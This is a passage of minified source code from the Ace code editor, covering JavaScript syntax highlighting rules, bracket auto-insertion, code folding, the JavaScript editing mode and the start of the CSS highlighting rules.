6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cj